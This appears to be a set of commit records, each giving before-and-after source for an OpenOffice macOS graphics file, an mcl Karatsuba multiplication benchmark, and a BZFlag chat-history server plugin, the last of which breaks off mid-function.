 mbPrinter   = false;\n    mbVirDev    = false;\n}\n\nvoid AquaSalGraphics::SetPrinterGraphics( CGContextRef xContext, long nDPIX, long nDPIY, double fScale )\n{\n    mbWindow    = false;\n    mbPrinter   = true;\n    mbVirDev    = false;\n\n    mrContext   = xContext;\n    mfFakeDPIScale = fScale;\n    mnRealDPIX  = nDPIX;\n    mnRealDPIY  = nDPIY;\n\n    if( mrContext )\n    {\n        CGContextSetFillColorSpace( mrContext, GetSalData()->mxRGBSpace );\n        CGContextSetStrokeColorSpace( mrContext, GetSalData()->mxRGBSpace );\n        CGContextSaveGState( mrContext );\n        SetState();\n    }\n}\n\nvoid AquaSalGraphics::SetVirDevGraphics( CGLayerRef xLayer, CGContextRef xContext,\n    int nBitmapDepth )\n{\n    mbWindow    = false;\n    mbPrinter   = false;\n    mbVirDev    = true;\n\n    \/\/ set graphics properties\n    mxLayer = xLayer;\n    mrContext = xContext;\n    mnBitmapDepth = nBitmapDepth;\n\n    if( !mxLayer )\n    {\n        if( !xContext )\n            return;\n        mnWidth = CGBitmapContextGetWidth( xContext );\n        mnHeight = CGBitmapContextGetHeight( xContext );\n    }\n    else\n    {\n        const CGSize aSize = CGLayerGetSize( mxLayer );\n        mnWidth = aSize.width;\n        mnHeight = aSize.height;\n    }\n\n    \/\/ prepare graphics for drawing\n    DBG_ASSERT( mrContext, \"AquaSalVirtualDevice has no drawing context?\" );\n    if( !mrContext )\n        return;\n    const CGColorSpaceRef aCGColorSpace = GetSalData()->mxRGBSpace;\n    CGContextSetFillColorSpace( mrContext, aCGColorSpace );\n    CGContextSetStrokeColorSpace( mrContext, aCGColorSpace );\n    CGContextSaveGState( mrContext );\n    SetState();\n}\n\n\/\/ ----------------------------------------------------------------------\n\nvoid AquaSalGraphics::SetState()\n{\n    CGContextRestoreGState( mrContext );\n    CGContextSaveGState( mrContext );\n\n    \/\/ setup standard clipping (unions of non-intersecting rectangles)\n    if( mxClipRectsPath )\n    {\n        CGContextBeginPath( mrContext );                \/\/ discard any existing path\n        CGContextAddPath( mrContext, mxClipRectsPath );  \/\/ set the current path to the clipping path\n        CGContextClip( mrContext );                     \/\/ use it for clipping\n    }\n\n    \/\/ intersect with complex clipping\n    if( mxClipPolysPath )\n    {\n        CGContextBeginPath( mrContext );\n        CGContextAddPath( mrContext, mxClipPolysPath );\n        CGContextEOClip( mrContext );\n    }\n\n    \/\/ set RGB colorspace and line and fill colors\n    CGContextSetFillColor( mrContext, maFillColor.AsArray() );\n    CGContextSetStrokeColor( mrContext, maLineColor.AsArray() );\n    CGContextSetShouldAntialias( mrContext, false );\n}\n\n\/\/ ----------------------------------------------------------------------\n\nbool AquaSalGraphics::CheckContext()\n{\n    if( mpFrame != NULL )\n    {\n        const unsigned int nWidth = mpFrame->maGeometry.nWidth;\n        const unsigned int nHeight = mpFrame->maGeometry.nHeight;\n\n        CGContextRef rReleaseContext = 0;\n        CGLayerRef   rReleaseLayer = NULL;\n        const bool bXorEnabled = (mpXorEmulation && mpXorEmulation->IsEnabled());\n\n        \/\/ check if a new drawing context is needed (e.g. after a resize)\n        if( (mnWidth != nWidth) || (mnHeight != nHeight) )\n        {\n            mnWidth = nWidth;\n            mnHeight = nHeight;\n            \/\/ prepare to release the corresponding resources\n            rReleaseContext = mrContext;\n            rReleaseLayer   = mxLayer;\n            mrContext = NULL;\n            mxLayer = NULL;\n            delete mpXorEmulation;\n            mpXorEmulation = NULL;\n        }\n\n        if( !mrContext )\n        {\n            const CGSize aLayerSize = {nWidth,nHeight};\n            NSGraphicsContext* pNSGContext = [NSGraphicsContext graphicsContextWithWindow: mpFrame->getWindow()];\n            CGContextRef xCGContext = reinterpret_cast<CGContextRef>([pNSGContext graphicsPort]);\n            mxLayer = CGLayerCreateWithContext( xCGContext, aLayerSize, NULL );\n            if( mxLayer )\n                mrContext = CGLayerGetContext( mxLayer );\n\n            if( mrContext )\n            {\n                \/\/ copy original layer to resized layer\n                if( rReleaseLayer )\n                    CGContextDrawLayerAtPoint( mrContext, CGPointZero, rReleaseLayer );\n\n                CGContextTranslateCTM( mrContext, 0, nHeight );\n                CGContextScaleCTM( mrContext, 1.0, -1.0 );\n                CGContextSetFillColorSpace( mrContext, GetSalData()->mxRGBSpace );\n                CGContextSetStrokeColorSpace( mrContext, GetSalData()->mxRGBSpace );\n                CGContextSaveGState( mrContext );\n                SetState();\n\n                \/\/ re-enable XOR emulation for the new context\n                if( bXorEnabled )\n                {\n                    mpXorEmulation = new XorEmulation( nWidth, nHeight, 0 );\n                    mrContext = mpXorEmulation->Enable( mrContext, mxLayer );\n                }\n            }\n        }\n\n        if( rReleaseLayer )\n            CGLayerRelease( rReleaseLayer );\n        else if( rReleaseContext )\n            CGContextRelease( rReleaseContext );\n    }\n\n    DBG_ASSERT( mrContext, \"<<<WARNING>>> AquaSalGraphics::CheckContext() FAILED!!!!\\n\" );\n    return (mrContext != NULL);\n}\n\n\nvoid AquaSalGraphics::RefreshRect(float lX, float lY, float lWidth, float lHeight)\n{\n    if( ! mbWindow ) \/\/ view only on Window graphics\n        return;\n\n    if( mpFrame )\n    {\n        \/\/ update a little more around the designated rectangle\n        \/\/ this helps with antialiased rendering\n        const Rectangle aVclRect( Point( lX-1, lY-1 ), Size( lWidth+2, lHeight+2) );\n        mpFrame->maInvalidRect.Union( aVclRect );\n    }\n}\n\nCGPoint* AquaSalGraphics::makeCGptArray(ULONG nPoints, const SalPoint*  pPtAry)\n{\n    CGPoint *CGpoints = new (CGPoint[nPoints]);\n    if ( CGpoints )\n      {\n        for(ULONG i=0;i<nPoints;i++)\n          {\n            CGpoints[i].x = (float)(pPtAry[i].mnX);\n            CGpoints[i].y = (float)(pPtAry[i].mnY);\n          }\n      }\n    return CGpoints;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid AquaSalGraphics::UpdateWindow( NSRect& rRect )\n{\n    if( !mpFrame )\n        return;\n    NSGraphicsContext* pContext = [NSGraphicsContext currentContext];\n    \/\/ NSGraphicsContext* pContext = [NSGraphicsContext graphicsContextWithWindow: mpFrame->getWindow()];\n    if( (mxLayer != NULL) && (pContext != NULL) )\n    {\n        CGContextRef rCGContext = reinterpret_cast<CGContextRef>([pContext graphicsPort]);\n\n        CGMutablePathRef rClip = mpFrame->getClipPath();\n        if( rClip )\n        {\n            CGContextSaveGState( rCGContext );\n            CGContextBeginPath( rCGContext );\n            CGContextAddPath( rCGContext, rClip );\n            CGContextClip( rCGContext );\n        }\n\n        if( mxLayer )\n            CGContextDrawLayerAtPoint( rCGContext, CGPointZero, mxLayer );\n        CGContextFlush( rCGContext );\n        if( rClip ) \/\/ cleanup clipping\n            CGContextRestoreGState( rCGContext );\n    }\n    else\n        DBG_ERROR( \"UpdateWindow called on uneligible graphics\" );\n}\n\n\/\/ -----------------------------------------------------------------------\n\n<commit_msg>#i10000# compare signed unsigned warning<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: salgdiutils.cxx,v $\n * $Revision: 1.18 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_vcl.hxx\"\n\n#include \"salgdi.h\"\n#include \"salframe.h\"\n\n#include \"basebmp\/scanlineformats.hxx\"\n#include \"basebmp\/color.hxx\"\n#include \"basegfx\/range\/b2drectangle.hxx\"\n#include \"basegfx\/range\/b2irange.hxx\"\n#include \"basegfx\/vector\/b2ivector.hxx\"\n#include \"basegfx\/polygon\/b2dpolygon.hxx\"\n#include \"basegfx\/polygon\/b2dpolygontools.hxx\"\n#include <boost\/bind.hpp>\n\n#include \"vcl\/svapp.hxx\"\n#include \"saldata.hxx\"\n\n\/\/ ----------------------------------------------------------------------\n\nvoid AquaSalGraphics::SetWindowGraphics( AquaSalFrame* pFrame )\n{\n    mpFrame     = pFrame;\n\n    mbWindow    = true;\n    mbPrinter   = false;\n    mbVirDev    = false;\n}\n\nvoid AquaSalGraphics::SetPrinterGraphics( CGContextRef xContext, long nDPIX, long nDPIY, double fScale )\n{\n    mbWindow    = false;\n    mbPrinter   = true;\n    mbVirDev    = false;\n\n    mrContext   = xContext;\n    mfFakeDPIScale = fScale;\n    mnRealDPIX  = nDPIX;\n    mnRealDPIY  = nDPIY;\n\n    if( mrContext )\n    {\n        CGContextSetFillColorSpace( mrContext, GetSalData()->mxRGBSpace );\n        CGContextSetStrokeColorSpace( mrContext, GetSalData()->mxRGBSpace );\n        CGContextSaveGState( mrContext );\n        SetState();\n    }\n}\n\nvoid AquaSalGraphics::SetVirDevGraphics( CGLayerRef xLayer, CGContextRef xContext,\n    int nBitmapDepth )\n{\n    mbWindow    = false;\n    mbPrinter   = false;\n    mbVirDev    = true;\n\n    \/\/ set graphics properties\n    mxLayer = xLayer;\n    mrContext = xContext;\n    mnBitmapDepth = nBitmapDepth;\n\n    if( !mxLayer )\n    {\n        if( !xContext )\n            return;\n        mnWidth = CGBitmapContextGetWidth( xContext );\n        mnHeight = CGBitmapContextGetHeight( xContext );\n    }\n    else\n    {\n        const CGSize aSize = CGLayerGetSize( mxLayer );\n        mnWidth = aSize.width;\n        mnHeight = aSize.height;\n    }\n\n    \/\/ prepare graphics for drawing\n    DBG_ASSERT( mrContext, \"AquaSalVirtualDevice has no drawing context?\" );\n    if( !mrContext )\n        return;\n    const CGColorSpaceRef aCGColorSpace = GetSalData()->mxRGBSpace;\n    CGContextSetFillColorSpace( mrContext, aCGColorSpace );\n    CGContextSetStrokeColorSpace( mrContext, aCGColorSpace );\n    CGContextSaveGState( mrContext );\n    SetState();\n}\n\n\/\/ ----------------------------------------------------------------------\n\nvoid AquaSalGraphics::SetState()\n{\n    CGContextRestoreGState( mrContext );\n    CGContextSaveGState( mrContext );\n\n    \/\/ setup standard clipping (unions of non-intersecting rectangles)\n    if( mxClipRectsPath )\n    {\n        CGContextBeginPath( mrContext );                \/\/ discard any existing path\n        CGContextAddPath( mrContext, mxClipRectsPath );  \/\/ set the current path to the clipping path\n        CGContextClip( mrContext );                     \/\/ use it for clipping\n    }\n\n    \/\/ intersect with complex clipping\n    if( mxClipPolysPath )\n    {\n        CGContextBeginPath( mrContext );\n        CGContextAddPath( mrContext, mxClipPolysPath );\n        CGContextEOClip( mrContext );\n    }\n\n    \/\/ set RGB colorspace and line and fill colors\n    CGContextSetFillColor( mrContext, maFillColor.AsArray() );\n    CGContextSetStrokeColor( mrContext, maLineColor.AsArray() );\n    CGContextSetShouldAntialias( mrContext, false );\n}\n\n\/\/ ----------------------------------------------------------------------\n\nbool AquaSalGraphics::CheckContext()\n{\n    if( mpFrame != NULL )\n    {\n        const unsigned int nWidth = mpFrame->maGeometry.nWidth;\n        const unsigned int nHeight = mpFrame->maGeometry.nHeight;\n\n        CGContextRef rReleaseContext = 0;\n        CGLayerRef   rReleaseLayer = NULL;\n        const bool bXorEnabled = (mpXorEmulation && mpXorEmulation->IsEnabled());\n\n        \/\/ check if a new drawing context is needed (e.g. after a resize)\n        if( (unsigned(mnWidth) != nWidth) || (unsigned(mnHeight) != nHeight) )\n        {\n            mnWidth = nWidth;\n            mnHeight = nHeight;\n            \/\/ prepare to release the corresponding resources\n            rReleaseContext = mrContext;\n            rReleaseLayer   = mxLayer;\n            mrContext = NULL;\n            mxLayer = NULL;\n            delete mpXorEmulation;\n            mpXorEmulation = NULL;\n        }\n\n        if( !mrContext )\n        {\n            const CGSize aLayerSize = {nWidth,nHeight};\n            NSGraphicsContext* pNSGContext = [NSGraphicsContext graphicsContextWithWindow: mpFrame->getWindow()];\n            CGContextRef xCGContext = reinterpret_cast<CGContextRef>([pNSGContext graphicsPort]);\n            mxLayer = CGLayerCreateWithContext( xCGContext, aLayerSize, NULL );\n            if( mxLayer )\n                mrContext = CGLayerGetContext( mxLayer );\n\n            if( mrContext )\n            {\n                \/\/ copy original layer to resized layer\n                if( rReleaseLayer )\n                    CGContextDrawLayerAtPoint( mrContext, CGPointZero, rReleaseLayer );\n\n                CGContextTranslateCTM( mrContext, 0, nHeight );\n                CGContextScaleCTM( mrContext, 1.0, -1.0 );\n                CGContextSetFillColorSpace( mrContext, GetSalData()->mxRGBSpace );\n                CGContextSetStrokeColorSpace( mrContext, GetSalData()->mxRGBSpace );\n                CGContextSaveGState( mrContext );\n                SetState();\n\n                \/\/ re-enable XOR emulation for the new context\n                if( bXorEnabled )\n                {\n                    mpXorEmulation = new XorEmulation( nWidth, nHeight, 0 );\n                    mrContext = mpXorEmulation->Enable( mrContext, mxLayer );\n                }\n            }\n        }\n\n        if( rReleaseLayer )\n            CGLayerRelease( rReleaseLayer );\n        else if( rReleaseContext )\n            CGContextRelease( rReleaseContext );\n    }\n\n    DBG_ASSERT( mrContext, \"<<<WARNING>>> AquaSalGraphics::CheckContext() FAILED!!!!\\n\" );\n    return (mrContext != NULL);\n}\n\n\nvoid AquaSalGraphics::RefreshRect(float lX, float lY, float lWidth, float lHeight)\n{\n    if( ! mbWindow ) \/\/ view only on Window graphics\n        return;\n\n    if( mpFrame )\n    {\n        \/\/ update a little more around the designated rectangle\n        \/\/ this helps with antialiased rendering\n        const Rectangle aVclRect( Point( lX-1, lY-1 ), Size( lWidth+2, lHeight+2) );\n        mpFrame->maInvalidRect.Union( aVclRect );\n    }\n}\n\nCGPoint* AquaSalGraphics::makeCGptArray(ULONG nPoints, const SalPoint*  pPtAry)\n{\n    CGPoint *CGpoints = new (CGPoint[nPoints]);\n    if ( CGpoints )\n      {\n        for(ULONG i=0;i<nPoints;i++)\n          {\n            CGpoints[i].x = (float)(pPtAry[i].mnX);\n            CGpoints[i].y = (float)(pPtAry[i].mnY);\n          }\n      }\n    return CGpoints;\n}\n\n\/\/ -----------------------------------------------------------------------\n\nvoid AquaSalGraphics::UpdateWindow( NSRect& rRect )\n{\n    if( !mpFrame )\n        return;\n    NSGraphicsContext* pContext = [NSGraphicsContext currentContext];\n    \/\/ NSGraphicsContext* pContext = [NSGraphicsContext graphicsContextWithWindow: mpFrame->getWindow()];\n    if( (mxLayer != NULL) && (pContext != NULL) )\n    {\n        CGContextRef rCGContext = reinterpret_cast<CGContextRef>([pContext graphicsPort]);\n\n        CGMutablePathRef rClip = mpFrame->getClipPath();\n        if( rClip )\n        {\n            CGContextSaveGState( rCGContext );\n            CGContextBeginPath( rCGContext );\n            CGContextAddPath( rCGContext, rClip );\n            CGContextClip( rCGContext );\n        }\n\n        if( mxLayer )\n            CGContextDrawLayerAtPoint( rCGContext, CGPointZero, mxLayer );\n        CGContextFlush( rCGContext );\n        if( rClip ) \/\/ cleanup clipping\n            CGContextRestoreGState( rCGContext );\n    }\n    else\n        DBG_ERROR( \"UpdateWindow called on uneligible graphics\" );\n}\n\n\/\/ -----------------------------------------------------------------------\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tsudo cpufreq-set -c 0 -g performance\n\tmycl karatsuba.cpp -DMCL_USE_LLVM=1 ..\/lib\/libmcl.a && .\/a.out\n*\/\n#include <stdio.h>\n#include <mcl\/fp.hpp>\n#include <cybozu\/xorshift.hpp>\n#include \"..\/src\/fp_proto.hpp\"\n#ifdef MCL_USE_LLVM\n#include \"..\/src\/fp_llvm.hpp\"\n#endif\n#include <cybozu\/test.hpp>\n#include <cybozu\/benchmark.hpp>\n\ntypedef mcl::FpT<> Fp;\n\nusing namespace mcl::fp;\n\nvoid dump(const Unit *x, size_t N)\n{\n\tfor (size_t i = 0; i < N; i++) {\n\t\tprintf(\"%016llx \", (long long)x[N - 1 - i]);\n\t}\n\tprintf(\"\\n\");\n}\n\nvoid gggKara(uint64_t *z, const uint64_t *x, const uint64_t *)\n{\n\tSqrPre<8, Gtag>::f(z, x);\n}\nvoid gggLLVM(uint64_t *z, const uint64_t *x, const uint64_t *y)\n{\n\tMulPre<8, Ltag>::f(z, x, y);\n}\n\ntemplate<size_t N>\nvoid benchKaratsuba()\n{\n\tcybozu::XorShift rg;\n\tprintf(\"N=%d\\n\", (int)N);\n\tUnit x[N], z[N * 2];\n\trg.read(x, N);\n\trg.read(z, N);\n\tCYBOZU_BENCH(\"g:mulPre \", (MulPreCore<N, Gtag>::f), z, z, x);\n\tCYBOZU_BENCH(\"g:mulKara\", (MulPre<N, Gtag>::karatsuba), z, z, x);\n\tCYBOZU_BENCH(\"g:sqrPre \", (SqrPreCore<N, Gtag>::f), z, z);\n\tCYBOZU_BENCH(\"g:sqrKara\", (SqrPre<N, Gtag>::karatsuba), z, z);\n\n#ifdef MCL_USE_LLVM\n\tCYBOZU_BENCH(\"l:mulPre \", (MulPreCore<N, Ltag>::f), z, z, x);\n\tCYBOZU_BENCH(\"l:mulKara\", (MulPre<N, Ltag>::karatsuba), z, z, x);\n\tCYBOZU_BENCH(\"l:sqrPre \", (SqrPreCore<N, Ltag>::f), z, z);\n\tCYBOZU_BENCH(\"l:sqrKara\", (SqrPre<N, Ltag>::karatsuba), z, z);\n#endif\n}\n\nCYBOZU_TEST_AUTO(karatsuba)\n{\n\tbenchKaratsuba<4>();\n\tbenchKaratsuba<6>();\n\tbenchKaratsuba<8>();\n#if MCL_MAX_BIT_SIZE == 768\n\tbenchKaratsuba<10>();\n\tbenchKaratsuba<12>();\n#endif\n}\n\n<commit_msg>remove x in benchmark<commit_after>\/*\n\tsudo cpufreq-set -c 0 -g performance\n\tmycl karatsuba.cpp -DMCL_USE_LLVM=1 ..\/lib\/libmcl.a && .\/a.out\n*\/\n#include <stdio.h>\n#include <mcl\/fp.hpp>\n#include <cybozu\/xorshift.hpp>\n#include \"..\/src\/fp_proto.hpp\"\n#ifdef MCL_USE_LLVM\n#include \"..\/src\/fp_llvm.hpp\"\n#endif\n#include <cybozu\/test.hpp>\n#include <cybozu\/benchmark.hpp>\n\ntypedef mcl::FpT<> Fp;\n\nusing namespace mcl::fp;\n\nvoid dump(const Unit *x, size_t N)\n{\n\tfor (size_t i = 0; i < N; i++) {\n\t\tprintf(\"%016llx \", (long long)x[N - 1 - i]);\n\t}\n\tprintf(\"\\n\");\n}\n\nvoid gggKara(uint64_t *z, const uint64_t *x, const uint64_t *)\n{\n\tSqrPre<8, Gtag>::f(z, x);\n}\nvoid gggLLVM(uint64_t *z, const uint64_t *x, const uint64_t *y)\n{\n\tMulPre<8, Ltag>::f(z, x, y);\n}\n\ntemplate<size_t N>\nvoid benchKaratsuba()\n{\n\tcybozu::XorShift rg;\n\tprintf(\"N=%d\\n\", (int)N);\n\tUnit z[N * 2];\n\trg.read(z, N);\n\tCYBOZU_BENCH(\"g:mulPre \", (MulPreCore<N, Gtag>::f), z, z, z);\n\tCYBOZU_BENCH(\"g:mulKara\", (MulPre<N, Gtag>::karatsuba), z, z, z);\n\tCYBOZU_BENCH(\"g:sqrPre \", (SqrPreCore<N, Gtag>::f), z, z);\n\tCYBOZU_BENCH(\"g:sqrKara\", (SqrPre<N, Gtag>::karatsuba), z, z);\n\n#ifdef MCL_USE_LLVM\n\tCYBOZU_BENCH(\"l:mulPre \", (MulPreCore<N, Ltag>::f), z, z, z);\n\tCYBOZU_BENCH(\"l:mulKara\", (MulPre<N, Ltag>::karatsuba), z, z, z);\n\tCYBOZU_BENCH(\"l:sqrPre \", (SqrPreCore<N, Ltag>::f), z, z);\n\tCYBOZU_BENCH(\"l:sqrKara\", (SqrPre<N, Ltag>::karatsuba), z, z);\n#endif\n}\n\nCYBOZU_TEST_AUTO(karatsuba)\n{\n\tbenchKaratsuba<4>();\n\tbenchKaratsuba<6>();\n\tbenchKaratsuba<8>();\n#if MCL_MAX_BIT_SIZE == 768\n\tbenchKaratsuba<10>();\n\tbenchKaratsuba<12>();\n#endif\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ chathistory.cpp : Defines the entry point for the DLL application.\n\/\/\n\n#include \"bzfsAPI.h\"\n#include <string>\n#include <algorithm>\n#include <sstream>\n#include <stdarg.h>\n#include <vector>\n#include <stdio.h>\n#include <assert.h>\n#include <map>\n#include <vector>\n\ninline std::string tolower(const std::string& s)\n{\n  std::string trans = s;\n\n  for (std::string::iterator i=trans.begin(), end=trans.end(); i!=end; ++i)\n    *i = ::tolower(*i);\n  return trans;\n}\n\nstd::string format(const char* fmt, ...) {\n  va_list args;\n  va_start(args, fmt);\n  char\ttemp[2048];\n  vsprintf(temp,fmt, args);\n  std::string result = temp;\n  va_end(args);\n  return result;\n}\n\nstd::vector<std::string> tokenize(const std::string& in, const std::string &delims, const int maxTokens, const bool useQuotes){\n  std::vector<std::string> tokens;\n  int numTokens = 0;\n  bool inQuote = false;\n\n  std::ostringstream currentToken;\n\n  std::string::size_type pos = in.find_first_not_of(delims);\n  int currentChar  = (pos == std::string::npos) ? -1 : in[pos];\n  bool enoughTokens = (maxTokens && (numTokens >= (maxTokens-1)));\n\n  while (pos != std::string::npos && !enoughTokens) {\n\n    \/\/ get next token\n    bool tokenDone = false;\n    bool foundSlash = false;\n\n    currentChar = (pos < in.size()) ? in[pos] : -1;\n    while ((currentChar != -1) && !tokenDone){\n\n      tokenDone = false;\n\n      if (delims.find(currentChar) != std::string::npos && !inQuote) { \/\/ currentChar is a delim\n\tpos ++;\n\tbreak; \/\/ breaks out of while loop\n      }\n\n      if (!useQuotes){\n\tcurrentToken << char(currentChar);\n      } else {\n\n\tswitch (currentChar){\n\t  case '\\\\' : \/\/ found a backslash\n\t    if (foundSlash){\n\t      currentToken << char(currentChar);\n\t      foundSlash = false;\n\t    } else {\n\t      foundSlash = true;\n\t    }\n\t    break;\n\t  case '\\\"' : \/\/ found a quote\n\t    if (foundSlash){ \/\/ found \\\"\n\t      currentToken << char(currentChar);\n\t      foundSlash = false;\n\t    } else { \/\/ found unescaped \"\n\t      if (inQuote){ \/\/ exiting a quote\n\t\t\/\/ finish off current token\n\t\ttokenDone = true;\n\t\tinQuote = false;\n\t\t\/\/slurp off one additional delimeter if possible\n\t\tif (pos+1 < in.size() &&\n\t\t    delims.find(in[pos+1]) != std::string::npos) {\n\t\t  pos++;\n\t\t}\n\n\t      } else { \/\/ entering a quote\n\t\t\/\/ finish off current token\n\t\ttokenDone = true;\n\t\tinQuote = true;\n\t      }\n\t    }\n\t    break;\n\t  default:\n\t    if (foundSlash){ \/\/ don't care about slashes except for above cases\n\t      currentToken << '\\\\';\n\t      foundSlash = false;\n\t    }\n\t    currentToken << char(currentChar);\n\t    break;\n\t}\n      }\n\n      pos++;\n      currentChar = (pos < in.size()) ? in[pos] : -1;\n    } \/\/ end of getting a Token\n\n    if (currentToken.str().size() > 0){ \/\/ if the token is something add to list\n      tokens.push_back(currentToken.str());\n      currentToken.str(\"\");\n      numTokens ++;\n    }\n\n    enoughTokens = (maxTokens && (numTokens >= (maxTokens-1)));\n    if (enoughTokens){\n      break;\n    } else{\n      pos = in.find_first_not_of(delims,pos);\n    }\n\n  } \/\/ end of getting all tokens -- either EOL or max tokens reached\n\n  if (enoughTokens && pos != std::string::npos) {\n    std::string lastToken = in.substr(pos);\n    if (lastToken.size() > 0)\n      tokens.push_back(lastToken);\n  }\n\n  return tokens;\n}\n\nBZ_GET_PLUGIN_VERSION\n\nclass LastChatCommand : public bz_CustomSlashCommandHandler\n{\npublic:\n  virtual ~LastChatCommand(){};\n  virtual bool handle ( int playerID, bz_ApiString command, bz_ApiString message, bz_APIStringList *param );\n};\n\nLastChatCommand lastChatCommand;\n\n\/\/ event handler callback\nclass ChatEvents : public bz_EventHandler\n{\npublic:\n  virtual ~ChatEvents(){};\n  virtual void process ( bz_EventData *eventData );\n};\n\nChatEvents chatEvents;\n\ntypedef std::vector<std::string>\ttvChatHistory;\n\nstd::map<std::string,tvChatHistory>\tchatHistories;\n\nunsigned int\t\tmaxChatLines;\n\nBZF_PLUGIN_CALL int bz_Load ( const char* commandLine )\n{\n  bz_debugMessage(4,\"ChatEvents plugin loaded\");\n\n  maxChatLines = 1000;\n  if (commandLine)\n  {\n    int realLines = atoi(commandLine);\n    maxChatLines  = realLines;\n  }\n\n  bz_registerCustomSlashCommand(\"last\",&lastChatCommand);\n  bz_registerCustomSlashCommand(\"flushchat\",&lastChatCommand);\n\n  bz_registerEvent(bz_eRawChatMessageEvent,&chatEvents);\n\n  return 0;\n}\n\nBZF_PLUGIN_CALL int bz_Unload ( void )\n{\n  bz_removeCustomSlashCommand(\"last\");\n  bz_removeCustomSlashCommand(\"flushchat\");\n\n  bz_removeEvent(bz_eRawChatMessageEvent,&chatEvents);\n\n  bz_debugMessage(4,\"ChatEvents plugin unloaded\");\n  return 0;\n}\n\n\nbool LastChatCommand::handle ( int playerID, bz_ApiString _command, bz_ApiString _message, bz_APIStringList * \/*_param*\/ )\n{\n  std::string command = _command.c_str();\n  std::string message = _message.c_str();\n\n\n  bz_BasePlayerRecord *fromPlayer = bz_getPlayerByIndex(playerID);\n\n  if ( !fromPlayer->admin )\n  {\n    bz_sendTextMessage(BZ_SERVER,playerID,\"You must be admin to use the ChatHistory plugin\");\n    return true;\n  }\n\n  if ( command == \"list\")\n  {\n    std::vector<std::string> params = tokenize(message,std::string(\" \"),1,false);\n    if ( params.size() <2)\n    {\n      bz_sendTextMessage(BZ_SERVER,playerID,\"Usage: \/last <NUMBER OF LINES> <CALLSIGN>\");\n      return true;\n    }\n\n    unsigned int numLines = (unsigned int)atoi(params[0].c_str());\n    if ( numLines == 0 )\n      numLines = 5;\n\n    std::map<std::string,tvChatHistory>::iterator itr = chatHistories.find(tolower(params[1]));\n\n    if ( itr == chatHistories.end() || !itr->second.size())\n    {\n      bz_sendTextMessage(BZ_SERVER,playerID,\"That player has no chat history.\");\n      return true;\n    }\n\n    tvChatHistory &history = itr->second;\n\n    if ( history.size() < numLines )\n      numLines = (unsigned int )history.size();\n\n    bz_sendTextMessage(BZ_SERVER,playerID,format(\"Last %d message for %s\",numLines,params[1].c_str()).c_str());\n\n    for ( unsigned int i = 0; i < numLines-1; i++ )\n    {\n      std::string chatItem = history[history.size()-i];\n      bz_sendTextMessage(BZ_SERVER,playerID,format(\"%d<%s> %s\",i,params[1].c_str(),chatItem.c_str()).c_str());\n    }\n\n    return true;\n  }\n\n  if ( command == \"flushchat\")\n  {\n    chatHistories.clear();\n    bz_sendTextMessage(BZ_SERVER,playerID,\"Chat History has been flushed\");\n    return true;\n  }\n\n  return false;\n}\n\nvoid ChatEvents::process ( bz_EventData *eventData )\n{\n  bz_ChatEventData_V1\t*chatEventData = (bz_ChatEventData_V1*)eventData;\n\n  bz_BasePlayerRecord *fromPlayer = bz_getPlayerByIndex(chatEventData->from);\n\n  std::string message = chatEventData->message.c_str();\n\n  std::string callsign = fromPlayer->callsign.c_str();\n  callsign = tolower(callsign);\n\n  switch( eventData->eventType)\n  {\n  default:\n    break;\n\n  case bz_eRawChatMessageEvent:\n    std::map<std::string,tvChatHistory>::iterator itr = chatHistories.find(callsign);\n    if (itr == chatHistories.end())\n    {\n      tvChatHistory h;\n      chatHistories[callsign] = h;\n    }\n\n    tvChatHistory &history = chatHistories[callsign];\n\n    history.push_back(message);\n    if (history.size() > maxChatLines)\n      history.erase(history.begin());\n    break;\n\n  }\n\n  bz_freePlayerRecord(fromPlayer);\n\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n\n<commit_msg>when parsing the params for \/list use all the fields, and let callsigns be in quotes.<commit_after>\/\/ chathistory.cpp : Defines the entry point for the DLL application.\n\/\/\n\n#include \"bzfsAPI.h\"\n#include <string>\n#include <algorithm>\n#include <sstream>\n#include <stdarg.h>\n#include <vector>\n#include <stdio.h>\n#include <assert.h>\n#include <map>\n#include <vector>\n\ninline std::string tolower(const std::string& s)\n{\n  std::string trans = s;\n\n  for (std::string::iterator i=trans.begin(), end=trans.end(); i!=end; ++i)\n    *i = ::tolower(*i);\n  return trans;\n}\n\nstd::string format(const char* fmt, ...) {\n  va_list args;\n  va_start(args, fmt);\n  char\ttemp[2048];\n  vsprintf(temp,fmt, args);\n  std::string result = temp;\n  va_end(args);\n  return result;\n}\n\nstd::vector<std::string> tokenize(const std::string& in, const std::string &delims, const int maxTokens, const bool useQuotes){\n  std::vector<std::string> tokens;\n  int numTokens = 0;\n  bool inQuote = false;\n\n  std::ostringstream currentToken;\n\n  std::string::size_type pos = in.find_first_not_of(delims);\n  int currentChar  = (pos == std::string::npos) ? -1 : in[pos];\n  bool enoughTokens = (maxTokens && (numTokens >= (maxTokens-1)));\n\n  while (pos != std::string::npos && !enoughTokens) {\n\n    \/\/ get next token\n    bool tokenDone = false;\n    bool foundSlash = false;\n\n    currentChar = (pos < in.size()) ? in[pos] : -1;\n    while ((currentChar != -1) && !tokenDone){\n\n      tokenDone = false;\n\n      if (delims.find(currentChar) != std::string::npos && !inQuote) { \/\/ currentChar is a delim\n\tpos ++;\n\tbreak; \/\/ breaks out of while loop\n      }\n\n      if 